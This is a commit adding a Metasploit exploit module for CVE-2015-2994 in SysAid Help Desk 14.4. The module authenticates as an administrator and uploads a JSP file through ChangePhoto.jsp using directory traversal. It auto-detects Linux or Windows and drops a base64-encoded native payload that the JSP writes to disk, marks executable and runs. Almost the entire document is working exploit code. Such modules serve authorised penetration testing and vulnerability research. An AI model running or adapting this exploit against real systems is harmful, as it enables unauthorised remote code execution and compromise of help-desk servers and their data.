Land rapid7#5471, @pedrib's module for SysAid CVE-2015-2994

* sysaid arbitrary file upload

Author: jvazquez-r7

modules/exploits/multi/http/sysaid_auth_file_upload.rb

@@ -0,0 +1,270 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',
+      'Description' => %q{
+        This module exploits a file upload vulnerability in SysAid Help Desk.
+        The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
+        which does not handle correctly directory traversal sequences and does not
+        enforce file extension restrictions. You need to have an administrator account,
+        but there is a Metasploit auxiliary module that can create one for you.
+        This module has been tested in SysAid v14.4 in both Linux and Windows.
+      },
+      'Author'       =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2015-2994'],
+          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'],
+          ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
+        ],
+      'DefaultOptions' => { 'WfsDelay' => 5 },
+      'Privileged'  => false,
+      'Platform'    => %w{ linux win },
+      'Arch' => ARCH_X86,
+      'Targets'     =>
+        [
+          [ 'Automatic', { } ],
+          [ 'SysAid Help Desk v14.4 / Linux',
+            {
+              'Platform' => 'linux'
+            }
+          ],
+          [ 'SysAid Help Desk v14.4 / Windows',
+            {
+              'Platform' => 'win'
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jun 3 2015'))
+
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 8080]),
+        OptString.new('TARGETURI', [ true,  "SysAid path", '/sysaid']),
+        OptString.new('USERNAME', [true, 'The username to login as']),
+        OptString.new('PASSWORD', [true, 'Password for the specified username']),
+      ], self.class)
+  end
+
+
+  def check
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
+      'method' => 'GET'
+    })
+    if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/
+      major = $1.to_i
+      minor = $2.to_i
+      if major == 14 && minor == 4
+        return Exploit::CheckCode::Appears
+      elsif major > 14
+        return Exploit::CheckCode::Safe
+      end
+    end
+    # Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
+    return Exploit::CheckCode::Unknown
+  end
+
+
+  def authenticate
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'Login.jsp'),
+      'method' => 'POST',
+      'vars_post' => {
+        'userName' => datastore['USERNAME'],
+        'password' => datastore['PASSWORD']
+      }
+    })
+
+    if res && res.code == 302 && res.get_cookies
+      return res.get_cookies
+    else
+      return nil
+    end
+  end
+
+
+  def upload_payload(payload, is_exploit)
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(payload,
+      'application/octet-stream', 'binary',
+      "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")
+
+    data = post_data.to_s
+
+    if is_exploit
+      print_status("#{peer} - Uploading payload...")
+    end
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
+      'method' => 'POST',
+      'cookie' => @cookie,
+      'data'   => data,
+      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
+      'vars_get' => { 'isUpload' => 'true' }
+    })
+
+    if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
+      if is_exploit
+        print_status("#{peer} - Payload uploaded successfully")
+      end
+
+      return $1
+    else
+      return nil
+    end
+  end
+
+  def pick_target
+    unless target.name == 'Automatic'
+      return target
+    end
+
+    print_status("#{peer} - Determining target")
+    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
+    url = upload_payload(os_finder_payload, false)
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], url),
+      'method' => 'GET',
+      'cookie' => @cookie,
+      'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
+    })
+
+    if res && res.code == 200
+      if res.body.to_s =~ /Linux/
+        register_files_for_cleanup('webapps/' + url)
+        return targets[1]
+      elsif res.body.to_s =~ /Windows/
+        register_files_for_cleanup('root/' + url)
+        return targets[2]
+      end
+    end
+
+    nil
+  end
+
+  def generate_jsp_payload
+    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
+    exe = generate_payload_exe(opts)
+    base64_exe = Rex::Text.encode_base64(exe)
+
+    native_payload_name = rand_text_alpha(rand(6)+3)
+    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
+
+    var_raw     = rand_text_alpha(rand(8) + 3)
+    var_ostream = rand_text_alpha(rand(8) + 3)
+    var_buf     = rand_text_alpha(rand(8) + 3)
+    var_decoder = rand_text_alpha(rand(8) + 3)
+    var_tmp     = rand_text_alpha(rand(8) + 3)
+    var_path    = rand_text_alpha(rand(8) + 3)
+    var_proc2   = rand_text_alpha(rand(8) + 3)
+
+    if @my_target['Platform'] == 'linux'
+      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
+      chmod = %Q|
+      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
+      Thread.sleep(200);
+      |
+
+      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
+      cleanup = %Q|
+      Thread.sleep(200);
+      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
+      |
+    else
+      chmod = ''
+      cleanup = ''
+    end
+
+    jsp = %Q|
+    <%@page import="java.io.*"%>
+    <%@page import="sun.misc.BASE64Decoder"%>
+    <%
+    try {
+      String #{var_buf} = "#{base64_exe}";
+      BASE64Decoder #{var_decoder} = new BASE64Decoder();
+      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
+
+      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
+      String #{var_path} = #{var_tmp}.getAbsolutePath();
+
+      BufferedOutputStream #{var_ostream} =
+        new BufferedOutputStream(new FileOutputStream(#{var_path}));
+      #{var_ostream}.write(#{var_raw});
+      #{var_ostream}.close();
+      #{chmod}
+      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
+      #{cleanup}
+    } catch (Exception e) {
+    }
+    %>
+    |
+
+    jsp = jsp.gsub(/\n/, '')
+    jsp = jsp.gsub(/\t/, '')
+    jsp = jsp.gsub(/\x0d\x0a/, '')
+    jsp = jsp.gsub(/\x0a/, '')
+
+    return jsp
+  end
+
+  def exploit
+    @cookie = authenticate
+    unless @cookie
+      fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.")
+    end
+    print_status("#{peer} - Authentication was successful with the provided credentials.")
+
+    @my_target = pick_target
+    if @my_target.nil?
+      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
+    end
+    print_status("#{peer} - Selected target #{@my_target.name}")
+
+    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
+    # Fail if this is the case and ask the user to select an appropriate payload.
+    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
+      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
+    end
+
+    jsp_payload = generate_jsp_payload
+    jsp_path = upload_payload(jsp_payload, true)
+    unless jsp_path
+      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
+    end
+
+    if @my_target == targets[1]
+      register_files_for_cleanup('webapps/' + jsp_path)
+    else
+      register_files_for_cleanup('root/' + jsp_path)
+    end
+
+    print_status("#{peer} - Executing payload...")
+    send_request_cgi({
+      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_path),
+      'method' => 'GET',
+      'cookie' => @cookie,
+      'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
+    })
+  end
+end